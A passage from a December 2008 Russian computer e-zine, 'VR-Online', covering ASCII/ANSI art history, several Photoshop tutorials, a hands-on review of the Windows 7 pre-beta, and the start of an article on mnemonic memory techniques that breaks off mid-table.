Они появились из-за развития шрифтов, ведь сначала шрифты были чётки и простые, потом начали усложняться, всякие завитушечки к ним приделывали, рваные края и прочее… Различия между ASCII рисунками, выполненными разными шрифтами, были очевидными. Потом появился стандарт ANSI, который просто взбудоражил всех PC-шников. Он позволял задавать символам цвет – что давало просто огромное преимущество перед амигой. Именно так появилось ответвление в ASCII ART’е – ANSI ART. Ближе к концу девяностых лет прошлого столетия сцена уже сформировалась, направления были ясны и разница между ними ощутима. Основными из них стали Ascii scene, Ansi scene и Amiga style. Amiga style, кстати, иногда и называют Oldschool. Распространялось такое искусство в сети артпаками, которые включали в себя сами картинки, файл описание (file_id.diz) и *.nfo файл группы. Естественно артпак как-то называли и давали ему порядковый номер. Почти сразу же появилась ASCII анимация, которая представляла собой просто набор ASCII рисунков (кадров), которые быстро перелистывали при помощи кнопочки Page Down. Применяли АСКИ-арт в оформлении электронных досок объявлений (которые, кстати, являются неотъемлемой частью сцены), подписей к письмам, первых смайликов. Даже в порно-индустрии))) Ведь в ASCII можно нарисовать практически любую картинку, дак почему бы не нарисовать голую девушку? ;) Вот пока и всё:) В следующий раз постараюсь рассказать про современные стили рисования на PC-сцене. Так что, ту би континед ;)

Пример рисунка в стиле ascii ты можешь увидеть в папке «Графика. Начало»

Written by Васючков Андрей aka Soffrick E-mail: [email protected]

Page 61: VR-Online (December 2008)

Графика: Картина на кирпичной стене В этом уроке хочется показать основы коллажирования и простой компоновки элементов. Грубо, коллаж – это создание одной картинки из нескольких, т.е. монтаж изображений. В этом материале мы будем «рисовать» картину на кирпичной стене. Стену выберем обшарпанную, кирпичную и чёрно-белую, а картину сделаем цветной, чтоб выделить её на фоне серой стены. Итак, вот какие изображения выбрал я:

Из картины нам понадобится только рамка, так что на её содержимое можно не обращать внимания. Начнём. Картина в воздухе висеть не может, так что её нужно подвесить. Обычно это какая-нибудь ниточка, вешающаяся на прибитый гвоздь. Сначала мы нарисуем гвоздь. Создавай новый слой, нарисуй простой овал и примени к нему градиент с настройками, показанными ниже на скрине:

Это будет верхней частью шляпки гвоздя. Теперь дублируй этот слой (crtl+j), двигай его чуть-чуть вниз и измени настройки градиента, сделай угол наложения 90 градусов.

Page 62: VR-Online (December 2008)

Вот! Уже больше похоже на шляпку! Теперь нужно приделать к нашему гвоздю остриё. Для этого рисуй простой прямоугольник и применяй к нему градиент, как показано на скрине ниже. (Цвета градиента – 7с7с7с , ffffff , 7с7с7с)

Градиент даёт вид некоего объёма, закруглённости… Теперь нам необходимо наше остриё сделать по настоящему острым и чуть его повернуть. Но если все эти манипуляции делать прямо сейчас, то градиент будет распределяться с каждым изменением формы нашей фигуры. Чтобы этого избежать, нужно сначала перевести изображение в смарт-объект (щёлкаем правой

Page 63: VR-Online (December 2008)

кнопкой мыши по слою с остриём и выбираем Convert to Smart Object), а затем растиризовать его.

А вот теперь можно придать ему необходимую форму:

Я его чуть-чуть повернул и применил инструмент Edit-Transform-Skew. Теперь вроде бы похоже. Сейчас уже можно объединить все слои гвоздя. Следующей нарисуем тень гвоздя. Для этого копируй слой с гвоздём, немного поверни его, но так, чтобы кончики совпадали, переходи в свойства слоя, делай Color Overlay с цветом 0 0 0, т.е. чёрным и Inner Glow с настройками, как на рисунке:

Page 64: VR-Online (December 2008)

Тень вроде бы готова, но какая-то она густая. Понизь непрозрачность слоя до 54%. Во! Совсем другое дело! С гвоздём вроде бы разобрались, теперь перейдём непосредственно к нашей картине. Открывай файл с рамкой, поворачивай её немного и вырезай лишнее. (Лично я использую для этого инструмент перо (Pen tool), ИМХО так выходит более качественно. Сначала, обвожу в контур область, которую необходимо удалить, потом создаю из контура выделение и удаляю нужный/ненужный фрагмент. Может это и долго, но зато все края остаются более качественными).

Page 65: VR-Online (December 2008)

Так, от картины у нас осталась только рамка. Нужно ей придать немного реалистичности, чтоб она лучше смотрелась в нашей композиции. Сначала добавим тень при помощи свойств слоя:

Теперь помещаем под слоем с рамкой картинку, которая будет у нас заменять холст, предварительно отмасштабировав и повернув. Тааак… Что-то всё равно не так… Тень как то не естественно смотрится… Придётся подрисовать её немного руками… Для этого создавай пустой слой под слоем с рамкой, выбирай кисть с мягкими краями и аккуратными небольшими «мазками» (да простят меня настоящие художники!) вырисовывай то, чего не хватает. Чтобы создать эффект неравномерного прилегания картины к стене, рисуй с одного края чуть больше, а с другого чуть меньше. Потом поиграйся с непрозрачностью нарисованной тени. Мой вариант тени показан на рисунке ниже:

Page 66: VR-Online (December 2008)

Теперь картина смотрится намного лучше! Осталось только соединить все слои воедино и подрисовать ниточку, на которой весит наша картинка. Ну и для того, чтобы создать более нагнетающую обстановку немного затемним края нашей стены. Вот и всё! Мой результат можешь посмотреть чуууууть ниже:

З.Ы. Ты уж извини, если что-то не понятно… Я не очень то и умею описывать свои художественные действия… Будут вопросы – мыль письма, попробую помочь, удачи! ;) Written by Васючков Андрей aka Soffrick E-mail: [email protected]

Page 67: VR-Online (December 2008)

Графика: Отрисовка Хочу показать один очень распространённый приём в компьютерной графике – отрисовку. Отрисовка объекта это как бы перерисовывание элемента фотографии (или всей фотографии). Т.е. в итоге мы получаем тот же элемент, просто рисованный, не такой реальный, как на фотографии. Этот приём применяют, например, для «перевода» растровой графики в векторную, для дальнейшего использования, например, в разработке банера, где необходима большая чёткость и возможность увеличения без потери качества. Итак, начнём. Для своего примера я выбрал долото, потому что у него простые чёткие линии, в общем его отрисовать будет проще, да и всё понятно станет.

Открой свой проект 'Долото' в Photoshop, создай белый слой поверх слоя с изображенным долото. Создай еще один пустой слой. Пустой будет самым верхним, на нём мы и будем отрисовывать. Теперь просто посмотрим на исходное изображение, внимательно в него всмотримся, разглядим все лини, грани. С них то мы и начнём, создадим контур нашей фигуры (в данном случае долото). Ставим главным цветом чёрный, берём инструмент Line Tool, устанавливаем толщину линии примерно в 3 пиксела и начинаем обрисовывать края фигуры. Это самая кропотливая и долгая работа, нужно сделать белый слой невидимым на время и рисовать на пустом слое, под которым будет виден только слой с оригинальной фотографией. Когда все внешние края обрисованы, немного уменьшаем толщину линии, например, на 1 пиксел, или изменяем цвет на более светлый (т.е. серый) и обрисовываем внутренние линии и рёбра тем же способом. Для более удобного последующего редактирования лучше создавать каждую линию на отдельном слое, а все слои с линиями поместить в одну группу. Должно получиться примерно это:

Page 68: VR-Online (December 2008)

У меня получилась группа из 90 слоёв, на каждом из которых линии. Довольно много, но их может быть и меньше, всё зависит от качества, которое ты хочешь получить или которое требуется. Результат уже не плохой, мы получили довольно интересный контур, уже хорошо напоминающий долото, объект нашей отрисовки. Для каких-то целей работа может быть прекращена на этом этапе, но нам нужно больше J, поэтому мы пойдём дальше и попробуем предать цвета нашей детали. Если все линии нарисованы правильно и поправок никаких не требуется, то копируй все линии на отдельный слой, а группу с линиями просто сделай невидимой (не удаляй, вдруг ещё пригодится). Под слоем с линиями создавай пустой слой, на него будем наносить цвета, выделяй часть фигуры (если все линии объединились в непрерывный контур, то выделение очень просто создать при помощи Magic Wand Tool), например начнём с ручки, и заливай выделение самым тёмным цветом, взятым с оригинальной детали:

Page 69: VR-Online (December 2008)

Теперь бери Dodge tool (осветитель), кисть устанавливай с мягкими краями, а размер подобрать придётся самому… И начинай, смотря на оригинальную фоту, осветлять нужные участки нашей ручки, предавая иллюзию объёма и света.

Для работы, которую задумал я, не нужны детали и упор на реалистичность, именно поэтому я сделал только основные штрихи. Таким же образом разукрашиваем все части нашего долото, каждая часть на новом слое.

Page 70: VR-Online (December 2008)

На скрине выше увеличен интересный участок. Передать всю игру света таким способом сложновато, но основные черты мы дать можем. Внимательно всматривайся в оригинальную фотку, постарайся увидеть всю разницу цветов, все переходы теней и света и штрих за штрихом переноси их на слои с цветовыми пятнами. Ну вот вроде бы и всё, что я хотел сказать и показать. Надеюсь, этот приём тебе пригодится! Если что-то не понятно или есть вопросы – пиши, попробуем решить вместе! ;) З.Ы. Я решил не оставлять просто так долото и сделать для него какой-нить фон, взял текстуры металла, сложил из них примерную проекцию (на геометрию я внимания не обращал, чтоб картинка казалась ещё более необычной), подрисовал тени, отражение. Получилось довольно интересно: висящее в воздухе долото, на фоне металлической комнаты, всё это действо подчёркивает стиль исполнения – никакой реалистичности, всё рисовано и оляписто.

Written by Васючков Андрей aka Soffrick E-mail: [email protected]

Page 71: VR-Online (December 2008)

Страсть порождает красоту или укрощаем огонь Давай попробуем поработать с огнём в photoshop’е, ну и ещё несколько приёмов рассмотрим. Нашёл я у себя фотку одну классную, мой друг отлично на ней вышел, есть чувства, страсть даже. Вот решил я из неё сделать картинку завязанную на огне, чтоб он «изрыгал» пламя, не просто пламя, а красивое пламя. Вот, собственно, с чем я работал:

Для работы с огнём нам лучше, чтоб фон был чёрным, да и дым нам ни к чему. Но мы не будем просто вырезать одну фигуру и ставить на новый чёрный фон. Нет, мы пойдём другим путём, придадим фотке немного глубины и насыщенности цветов. Итак, начинаем колдовать. У меня используется в работе моя фотка, а у тебя может быть совсем другая, поэтому я буду говорить про свои действия, а не указывать, что делать тебе) Надеюсь, пониманию материала это не помешает ;) Я копировал главный фон три раза, таким образом у меня получилось четыре абсолютно одинаковых слоя, но это пока).

Page 72: VR-Online (December 2008)

Теперь сделаю самый первый слой чёрно-белым (Image-Adjustment-Desaturate), изменю его способ наложения с Normal на Overlay и понижу непрозрачность со 100% до 30%. Тёмные участки фотки ещё немного затемнились, как бы увеличивая глубину самой картинки. Идём дальше, слой ниже тоже делаю чёрно-белым тем же способом, что и предыдущий. Способ наложения делаю Multiply и непрозрачность ставлю на 62%. Эффект почти тот же, только затемняется почти вся фота, кроме самых ярких участков. У предпоследнего слоя просто делаю способ наложения Vivid Light и непрозрачность ставлю на 48%.

В получившейся картинке уже почти незаметно дым на главной фигуре моей аппликации (ей является, если ты заметил, чувак, который как будто кричит). Да и кожа у него стала более «глубокой» и насыщенной. Так, теперь нужно избавиться от лишнего на фоне. Для этого объединяю все слои в один и иду в Image-Adjustments-Levels, играюсь с ползунками, как сделал я видно на скрине ниже:

Page 73: VR-Online (December 2008)

Вот, вроде и почти весь фон чёрный. Совсем мелкие детали уже просто закрашиваю чёрной кисточкой и объединяю всё в один слой. Теперь нужно немножко убрать красного… Для этого я топаю в Image-Adjustments-Hue/Saturation (или просто Ctrl+U), выбираю в поле Edit вместо Master RED и немного уменьшаю Saturation, примерно на 31.

Тааак, теперь можно приступать к работе непосредственно с огнём))). Я хочу, чтоб на картинке из огня появлялось что-то красивое, и поэтому я взял вот эту огненную девушку:

Page 74: VR-Online (December 2008)

Вся картинка мне не понадобилась, поэтому я просто при помощи прямоугольного лассо вырезал нужный участок. Разместил его нужным образом поверх слоя с фотой: немного повернул, поменял способ наложения на Screen (он как бы убирает чёрный цвет со слоя) и при помощи Edit-Transform-Warp сделал иллюзию движения, т.е. девушка как будто выдувается из чего-то.

Уже что-то вырисовывается! Теперь нужно просто пламени добавить. Я выбрал вот это:

Page 75: VR-Online (December 2008)

Так же вырезал нужный кусок, разместил на картинке, поменял режим смешивания на Screen и при помощи Edit-Transform-Warp изогнул пламя так, чтобы оно «вылетало» изо рта чувака.

На скрине я отметил участок, на котором огонь при искажении стал уж очень плохим и прямым… Для ликвидации этой досадной проблемы я немного подтёр «плохой край» резинкой с мягкими краями и вырезал нужный (похожий) кусочек с другой стороны пламени. Так, теперь вроде бы не плохо. Только вот в месте стыка двух слоёв с огнём (девушки и просто пламени) немного прослеживаются ноги девушки, а мне этого совсем не надо. Для решения этой проблемы я опять вооружился кисточкой с мягкими краями и подтёр на слое с девушкой некоторые ненужные места. Но не стоит стирать весь слой до начала другого, лучше попытаться сделать так, чтобы одно пламя перерастало в пламя с девушкой. Теперь нужно сделать немного света под простым пламенем, а то огонь, огонь, огонь и сразу темнота. Так не бывает) Для этого я создал пустой слой под слоями с огнём и обвёл края пламени достаточно большой кисточкой, цветом #fb820c, применил к слою Outer Glow с настройками, показанными на скрине ниже:

Page 76: VR-Online (December 2008)

Так, способ наложения слоя подсветки я сделал Lighten и непрозрачность 41%. Теперь нужно что-то сделать с лицом, я же убавил на нём красных цветов и поэтому оно смотрится слишком бледно. Создаю поверх слоя с фотой пустой слой и рисую на лице мягкой кисточкой как бы осветление от огня, цвет кисти - #fb820c. Немного подумав, я представил картину реально горящего огня перед лицом и добавил пару штрихов подсветки, а пару изменил. В процессе рисования подсветки лица, я немного менял прозрачность и размер кисти, варьируя настройки в зависимости от удаления источника горения, т.е. пламени.

Поменял способ наложения слоя на Overlay. Вооооот! Уже совсем хорошо! Добавил немного штрихов и деталей, и картинка готова! Мой результат ниже, желаю удачи!

Page 77: VR-Online (December 2008)

Written by Васючков Андрей aka Soffrick E-mail: [email protected]

Page 78: VR-Online (December 2008)

Первое знакомство с Windows 7 Не успел народ пересесть на Vista, как Microsoft уже сделали анонс совершенно новой ОС – Windows 7. Как показали минувшие два года – Vista не сделала «революции», на которую так рассчитывали мелкомягкие. Да что там революцию, на ней даже толком не смогли заработать. Ведущие производители компов и ноутбуков (например, Dell) не увидели в Vista инновационных возможностей и стали устанавливать на свои железки либо Linux, либо проверенную временем и горячо полюбившуюся пользователям – Windows XP. Такое положение дел не может поднимать настроение, поэтому ребяткам из редмонда пришлось напрячься и заняться новой версией ОС. На сегодняшний день, релиз седьмой винды намечен на конец 2009 года. Тем неменее, у каждого из нас уже есть возможность заценить и попробовать новинку в работе. В конце октябре, в Лос-Анджелесе проходила конференция, на которой была представлена PreBeta ОС. Как и следовало ожидать, спустя пару дней образ preBeta стал доступен на просторах инета. Мои впечатления Узнав о том, что новая винда доступна в инете, я сразу решил ее скачать. Сказано – сделано. Через пару деньков (вот такой у меня медленный был инет) 3-х гигабайтный образ ОС будущего уже лежал у меня на винте и был готов пройти жесткий тест, о котором я сейчас и попытаюсь рассказать. Установка Начну свой обзор с самого первого этапа – установки ОС. Загрузившись с болванкой, меня встретил обновленный мастер установки. Выглядел он симпотно и складывалось впечатление, что я занимаюсь не установкой ОС, а инсталляцией обычной программы. В висте все это дело выглядело значительно хуже. Меня удивило, но процесс установки ОС стал еще проще. Я уже думал, что установка Windows и так упрощена до максимума, но как оказалось, я заблуждался. Мастер установки не спросил ничего лишнего и непонятного (с точки зрения неопытного пользователя). Каждый вопрос сопровождался подробной подсказкой, поэтому обложатся ну просто нереально. Надеюсь, что после выхода новой ОС, многие пользователя прекратят обращаться к «специалистам» по установке ОС и платить за эту процедуру немалые деньги. Хочу также обратить твое внимание на время, затраченное на установку. По сравнению с Vista оно значительно сократилось и занимает от силы минут 20-25. У меня практически за это же время устанавливается XP. Оптимизация на лицо. Итого: Мастер установки улучшил свой вид и стал еще более дружелюбным к пользователю. Лишних вопросов не задает, а те которые задает, сопровождаются подробной справкой. Очень порадовало, что сократились временные затраты. Установка проходит шустро и по времени сравнима с установкой Windows XP. Это большой плюс и пожалуй единственный случай, когда установка новой версии Windows проходила не намного дольше, чем инсталляция уже устаревшей версии. Улучшенный Aero

Page 79: VR-Online (December 2008)

Vista принесла нам новый функционал и совершенно переработанный интерфейс – Aero. Да, выглядит он симпотично, но, как и следует ожидать – за красоту приходится платить драгоценными системными ресурсами. Хорошо когда комп используется только для развлечений. В таком случае можно забить на экономию ресурсов и юзать только красивые рюшечки. Я не могу позволить себе этого. Комп я использую для работы и мне в первую очередь важна именно производительность. Именно поэтому, когда я в свое время тестировал висту, я всегда отключал улучшенный интерфейс. Скорей всего с Windows 7 это делать не придется. После загрузки винды, меня как и следовало ожидать встретил все тот же Aero, но с одним большим исключением – не было замечено тормозов. Меня это в очередной раз удивило. Ведь по идее новая винда должна быть рассчитана на современное железо, а тут на тебе, все работает превосходно на моей старушке. Мистика… Наверное, индусы всерьез занялись оптимизацией и все таки смогли повысить производительность. А ведь именно из-за низкого быстродействия Виста ее не хотели и не хотят покупать. Что ж, если в финальном релизе ничего не изменится в худшую сторону, то продажи Windows 7 будут значительно выше, чем безнадеги Vista. Итого: Мнение – новая версия Windows, значит новые требования ни коим боком не присуще Windows 7. Уже на стадии preBeta видно, что семерка работает шустрей, чем Vista, а это уже о многом говорит. Если в финальном релизе не будет кардинальных изменений в худшую сторону, то Windows 7, можно будет смело ставить на нетбуки, компьютеры с устаревшим железом и радоваться жизни.

У старых прог новое лицо Все уже привыкли, что в состав любой версии Windows входят несколько стандартных программ, таких как: MS Paint, Калькулятор, Текстовый редактор WordPad и т.д. И все также

Page 80: VR-Online (December 2008)

привыкли, что внешний вид и уж тем более функциональность этих прог не меняется. Все абсолютно не так в Windows 7. Разработчики видно вспомнили про эти программки и решили потратить чуточку времени, да и наконец-таки их обновить. В результате все без исключения тулзы получили современный интерфейс (см. рисунки), а некоторым выпала честь обновить свои функциональные возможности. Обо всем по порядку. Ms Paint стал более продвинутым. В свое распоряжение он получил новые кисти и научился сохранять результаты работы в формат png. Калькулятор поменял внешний вид и обзавелся функцией перевода единиц измерений. Если ты до сих пор не можешь запомнить, сколько в одном метре сантиметров, то с калькулятором Windows 7 ты решишь эту задачу без проблем.

Page 81: VR-Online (December 2008)

Итого: В новой версии винды разработчики постарались не оставить без внимания не один компонент системы. Как ты видишь, обновлению подверглись даже богом забытые программы. Также меня очень порадовал тот факт, что в системе практически не осталось иконок старого образца. Видно, что над новой виндой трудятся основательно. Автоматизируем все По-видимому, Microsoft всерьез задумались о преимуществе самостоятельно создаваемых сценариев для автоматизации рутинных действий, которые так популярны в nix системах. А ведь действительно, порой возникают такие ситуации, когда решить задачу удобнее всего с помощью нескольких строк кода. Возможностей простых bat'ников зачастую не хватает, CScript так и не полюбился. В 2006 году на суд общественности MS представила PowerShell – новый скриптовый язык, тесно взаимосвязанный с .NET Framework’ом. С его помощью очень легко «рулить» системой и многими продуктами от MS. В Windows 7, столь полезный и удобный продукт интегрирован, а значит, каждый может воспользоваться его мощью для своих задач. Если ты с кодингом на «ты», то ты без проблем сможешь расширить набор командлетов своими собственными. Благо, сварганить новый командлет на C# большего труда не представляет.

Page 82: VR-Online (December 2008)

Прощай SideBar! Когда на свет появилась Windows Vista, все не могли наиграться с SideBar’ом (боковой панелькой). Основная фишка этой панельки – хранение набора виджетов. В остальном этот bar бесполезен и только занимает лишнее место, да системные ресурсы. В Windows 7 разработчики решили отказаться от него. Отказ – не означает, что виджеты ушли не покой. Просто теперь их можно расставлять прямо на рабочем столе. На мой взгляд, это намного удобнее и позволяет сэкономить кучу рабочего пространства. Superbar Основной новинкой Windows 7, в плане внешнего вида одназначно является SuperBar - совершенно новая панель задач. Суть идеи новой панели состоит в том, что теперь ее можно использовать и для хранения иконок часто запускаемых программ (аля быстрый запуск) и для более гибкого управления окнами. Наверное, каждый из нас, сразу после установки Windows начинает заполнять панель быстрого запуска иконками, наиболее, часто запускаемых приложений. В Windows 7 можно делать то же самое с одним отличием - месторасположение иконок будет сама панель задач. Напрашивается вопрос, а в чем фишка? Все чудеса начинаются после попытки запуска приложения. Программа стартует, а ее ярлык для быстрого запуска увеличивается и превращается в стандартную кнопку, которую мы привыкли видеть во всех предыдущих версиях Windows. При закрытии программы происходит обратная трансформация. Кнопка плавно превращается в иконку. Словами этот процесс описать тяжело, поэтому посмотри на скриншоты, а лучше слей и протестируй последний билд новой винды самостоятельно. Уверен, ты не пожалеешь.

Page 83: VR-Online (December 2008)

Итого: Новая панель задач, по-видимому принесет намного больше пользы, чем SideBar. Пользоваться ей удобно, да выглядит она красиво. В общем, полезная новинка, которой мне не терпится воспользоваться. Жаль, что до финального релиза еще далековато. На этом все Windows 7 заслуживает пристального внимание и обещает стать «успешной» ОС. Надеюсь, что MS не отступит от выбранного курса и будет работать над Win7 в том же духе. И если все будет так, то в 2010 году, нам представят современную, хорошо сбалансированную и производительную ОС. Что ж, поживем - увидим! Written by Игорь Антонов aka Spider_NET E-mail: [email protected]

Page 84: VR-Online (December 2008)

Мнемоника: Основа Во все времена особенно ценились умные люди, степень ума которых определялась способностью к решению частных задач. К таким частным задачам относилось, например, хорошее знание географии или литературы. В более древнее время – захват крепостей через убеждение в неправильности постройки. В еще более древнее – убеждение мамонта в том, что он вкусный и неопасный через соплеменников и копья. Всегда ценилось умение пользоваться знанием, популярность которого зависела от времени. В конце XIX и в частично XX веке начали ценить людей с высоким уровнем умственного IQ (Intelligence Quotient, Коэффициент Интеллекта). В цитадели демократии это привело к серьезным противоречиям среди простого пролетариата и, понятно, обладателей высокого IQ типа диссидентов мировоззрения – правительства, ученых и т.д. и т.п. В результате недовольства популярную программу определения IQ свернули, т.к. желающих подраться было не много, особенно среди интеллигентов. В наше время людей оценивают более осторожно. Официально, введены более обширные требования: умственный IQ, житейский, здоровья и т.д. Естественно, что во всем многообразии оно никому не надо. Вдобавок к тому, еще и мало где используется, т.к. много людей, вообще не знающих, что такое IQ. Так уж получилось, что за все это время люди наблюдательные пришли к выводу, что раз физические данные можно улучшить, также можно улучшить и умственные. Эти люди и создали все то многообразие техник, и переписали небезызвестную книгу рекордов в свои достижения. Позже сформировались различные школы и заведения, где стали обучать быть правильно умным. Понятно, что кроссшкольные техники – они самые эффективные, т.к. не упираются в абсолютизм авторов. Зачем оно нужно? На этот вопрос есть несколько ответов. Например, кому мешало стать умнее и принести пользу? Пожалуй, на этом и остановимся.

Введение Мнемотехника – наука о памяти. А память – это способность живой материи, мозговой ткани, накапливать и хранить информацию. Причем плотность накопления этой информации в мозге неизмеримо большая (измерить то можно, но более-менее точно пока невозможно). Это общемозговая функция, в осуществлении которой участвуют все отделы мозга. Не думаю, что многих из нас сильно увлекает биология. Естественно, что практически более важен результат. Для кого-то – процесс. На вкус и цвет, товарища, как известно, нет. Но не будем отвлекаться, а приступим к рассмотрению техник мнемотехники.

Деление мнемоники

Page 85: VR-Online (December 2008)

Небольшое отступление. Стоит, думаю, рассказать о типовом разделении мнемотехники как науки. Грубо говоря, мнемотехника делиться на «классическую» и «творческую». Последняя – перед тобой. К классической мнемотехнике относиться заучивание текстов наизусть, зазубривание стихотворений. Называется это механическим запоминанием. Механическое запоминание, связанное с механической памятью, информации не одинаково у разных людей, что понятно. Ну, кто одинаково учил стихи в школе? Этот вид памяти делиться на зрительную, слуховую и осязательную. Последняя требуется редко и почти нигде не рассматривается. Зрительная, пространственная хорошо развита у математиков, физиков, программистов и других технических специалистов. Слуховая – музыкантов, лингвистов и т.д. Осязательная – спортсменов и им подобных. Однонаправленных или людей, с ярко – выраженной одной направленностью существует не много, очень не много, т.к. все способности, обычно, развиваются у человека равномерно, лишь чуть более выделяя одну из них в зависимости от профессии. Развивается механическая память долго. Главные пути – запоминание стихотворений и тексов, стройных рядов цифр и отдельных букв. К неклассической мнемотехнике относятся способы, завуалированные от «обычного обучения». Там они не изучаются ни сколько и ни разу. Известны в узких кругах, главным образом среди психологов и их сходных профессий, коих немного. Неклассическая мнемотехника основана на достижениях физиологов, изучении мозга и развитии знаний о подсознании. В отличие от неэффективной классической мнемотехники, эта зиждется на работе с подсознанием и правым полушарием мозга, ответственным за образную информацию. Результаты получаются гораздо выше, в разы, т.к. задействуется большее кол-во отделов мозга, что положительно влияет на скорость и другие характеристики обработки информации.

Структура данных Как известно, структуры данных + алгоритмы = программы. У нас = качественному запоминанию. Традиционно в мнемотехнике выделяют следующие типы данных: числа, термины (сюда и имена людей, фамилии…), зрительные образы и т.д.. Из них нам понадобятся лишь первые два, т.к. программисту в работе нужно изучать, вспоминать, придумывать и писать, оперирую элементами ЯП. Дополнительно рассмотрим пространственное воображение, т.к. оно исключительно важно для всех техник. Другие типы данных требуют повышенного внимания и большого кол-ва времени, поэтому их опустим. Если с числами все понятно, то с типом данных «термины» дела обстоят сложнее. Фактически, к терминам относятся вообще все элементы ЯП: операторы, переменные, да и названия ОС. Термины будем рассматривать в частных и общих случаях, чтобы повысить вероятность запоминания. Образ

Page 86: VR-Online (December 2008)

Для начала введем основное определение мнемотехники – образ, без которого затруднительно дальнейшее описание материала. Образ – основная единица информации в мнемотехники, суть максимально наглядное зрительное представление какого-либо предмета + (не +) его действия. Под максимальной наглядностью понимается представление образа во всех деталях: размера, формы, запаха, ощущений и т.д. На начальных порах достаточно лишь зрительно представлять его, во всей полноте не нужно. Для последнего необходима регулярная тренировка продолжительностью в 3-4 месяца и дольше. Пример. Создать образ дома. Сразу оговоримся, что образ будет приближенным к идеальному. 1. Представим картинку дома или реальный объект (место проживания). Этот объект должен отличаться обыденностью для большей детализации. (Оговорюсь, что если представляемый объект не существует в материальном мире или не известен его внешний вид (слово, инопланетянин), то нужно создать его вымышленный образ).

2. Разрисуем его окнами, дверьми, неформалами, пишущими нецензурные слова, и другими элементами экстерьера. Внутренности представлять не нужно.

3. Вспомним все то, что напредставляли, пробегаясь мысленно по созданному сооружению. Образ готов.

Запоминание образов Еще одной основной операцией в мнемотехнике является запоминание образов. Оно необходимо по многим причинам. Например, к образам относится список товаров, важных для покупки (если таковой еще кто-то делает). Чтобы не делать – достаточно запомнить. Обладает широким кругом применения. Для запоминания образов существует несколько эффективных техник.

Первая техника – «Цепочка». Техника очень проста и эффективна.

Строиться образ и запоминается. Далее, строиться второй образ. Они соединяются друг с другом как можно более положительной эмоционально связью, с элементом шутки. Категорически не приветствуются отрицательные эмоции в связи образов – с большой вероятностью запоминание провалиться! После связи двух образов, происходит связь второго с третьим и т.д. Причем, первый в связи 2-го и 3-го уже не участвует. Так происходит до победного или пока не заболит голова и не кончиться терпение. Важное замечание: не нужно пытаться все образы поместить в одно помещение, на одну лужайку и т.д. Они должны строго следовать друг за другом, предыдущий служит напоминанием последующему. Если делать иначе, то произойдет «stack overflow». Иначе говоря, запомниться 7-8 самых ярких, остальные – «уйдут». Пример. Запомним 10 образов: картофель, корзина, будильник, вишня, магнит, тетрадь, антенна, песок, машина, солонка. • Представим одноцветное полотно. Цвет каждый выбирает по своему вкусу. • На это полотно положим сочный картофель, частично вдавив. • Мысленно увеличим картофель до размеров ведра и «посадим» его внутрь так, чтобы было видно и ведро, и «посаженный» туда картофель.

Page 87: VR-Online (December 2008)

• Прилепим на низ ведра будильник, диаметром совпадающий с нижним основанием ведра. Будильник сугубо «гламурный», цветной, «веселый», с улыбающейся рожей вместо циферблата, с толстенными стрелками.

• Между стрелками положим вишню с длинным «хвостиком». • На хвостик вишни наденем качающийся магнит, с «лицом», которым овладел испуг от раскачивания.

• Магнитом «примагнитим» тетрадку с толстенными листами и жирным шрифтом. • Представим, что из тетрадки выросла антенна, длинная, изогнутая. • Край антенны присыпим песком. • Вспомним произвольный фильм с автомобилем, нарезающим круги по песку. • Придавим автомобиль огромной солонкой, к его невысокому восторгу. • Повторим образы в обратном порядке. У данного алгоритма запоминания есть свои минусы: • Многим людям сложно представлять образы, проводить в голове с ними взаимодействия. • Это сильно нагружает мозг. После часа (естественно, что не подряд и разные последовательности) упражнений может сильно разболеться голова, будет сильно клонить в сон. На лицо – переутомление.

И плюсы: • Достаточно текста и закрытых глаз/смотрения в одну точку. • Производит фурор на окружающих после демонстрирования.

Следующая техника – метод «Цицерона» Выбирается максимально полно знакомое помещение. Естественно, что это квартира/дом/так далее. Выбирается максимальное количество предметов и запоминается их последовательность. Нужно добиться отличного запоминания всех предметов и их последовательности, на что может уйти несколько дней, неделя. На каждый предмет «навешивается» свой образ. Предметы последовательно вспоминаются, не забывая образ. В полевых условиях доступа к помещению, естественно, не будет. Для этого необходимо держать в голове последовательность предметов и в голове навешивать на них образы. Плюсы метода: • Если забыть один образ, легко вспомнить остальные, т.к. известна их последовательность. • Легок в освоении и не так сильно загружает голову по сравнению с «цепочкой». Минусы метода: • Количество предметов ограниченно. Под запоминаемые предметы подходят только не динамически перемещающиеся, вроде ножниц.

• Редко, но пропадает «связь» образ – предмет. Рассмотренные методы равно эффективны друг другу. Кому какой нравиться или оба. Необходимо упражняться этими техниками, т.к. их применение в жизни – «переустройство» мозга, разрыв шаблона. Обычно, мозг «перестраивается» через месяц. В плюсы по сравнению с

Page 88: VR-Online (December 2008)

обычным запоминанием стоит отнести то, что данными методами можно легко запомнить 50-100 слов после одной диктовки, что разительно «развивает» интеллект, помогает в повседневной жизни. Для этого не требуется каждодневной тренировки. Достаточно 30-60 минут, 3 раза в неделю.

Числа и цифры Дорогая Офелия!

Мне плохо от этих чисел: Я не способен сосчитать мои стоны.

- Гамлет. Гамлет был прав: если выразить количественного его стоны, можно закончить Наполеоном. Но Гамлета трогать не будем. Начнем с типа данных «числа». Цифры, как известно, составляют числа. Но в рамках мнемотехники, в большинстве техник, существенного разделения не происходит. Это связано-то ли с нелюбовью психологов к числам, то ли еще с чем. Но факт. Самая распространенная и эффективная техника (лично проверял) – постройка таблицы образов и по ней. Алгоритм запоминания чисел следующий. Число делиться на группы цифр (тоже числа), по 1-2, 3 (3 – крайне редко) в каждой группе. Пример. Число 23480. Разобьем на 3 группы: 23, 48 и 0. Для каждой группы придумаем (вообще, надо знать наизусть 110 образов для каждого из чисел от 0 до 99 и 00..09) образ соответственно: собака, кошка, сосна. Теперь соорудим картинку из этих 3-х образов: собака гавкает на кошку, сидящую на сосне. Круто! Не круто только, что кошкам проблематично залазить на сосну, равно как и на ель… Придуманный пример показал лишь частный случай запоминания – для каждой отдельной группы чисел был придуман отдельный образ. В полевых условиях образы придумывать запрещено! Это связано с тем, что потом сложно вспомнить придуманное. Поэтому были созданы многочисленные таблицы для чисел от 0 до 99. Особенно умудренные опытом личности создавали и до 999, и больше, для запоминания громадных чисел. Недостаток такого метода в том, что для сильно многоразрядных чисел происходит повторение образов, что приводит к запутыванию в их последовательности и количестве. Но для чисел, кол-во цифр в которых < 100, 400 (зависит от навыков), метод подходит идеально. Одна из таблиц: 0 Лук 10 НЛО 20 Вилка 30 Руль 40 Чулок 1 Нюх 11 Няня 21 Веник 31 Ранец 41 Чайник 2 Вафли 12 Нива 22 Вова. В. 32 Ров 42 Чува ки 3 Рыцарь 13 Нора 23 Ворона 33 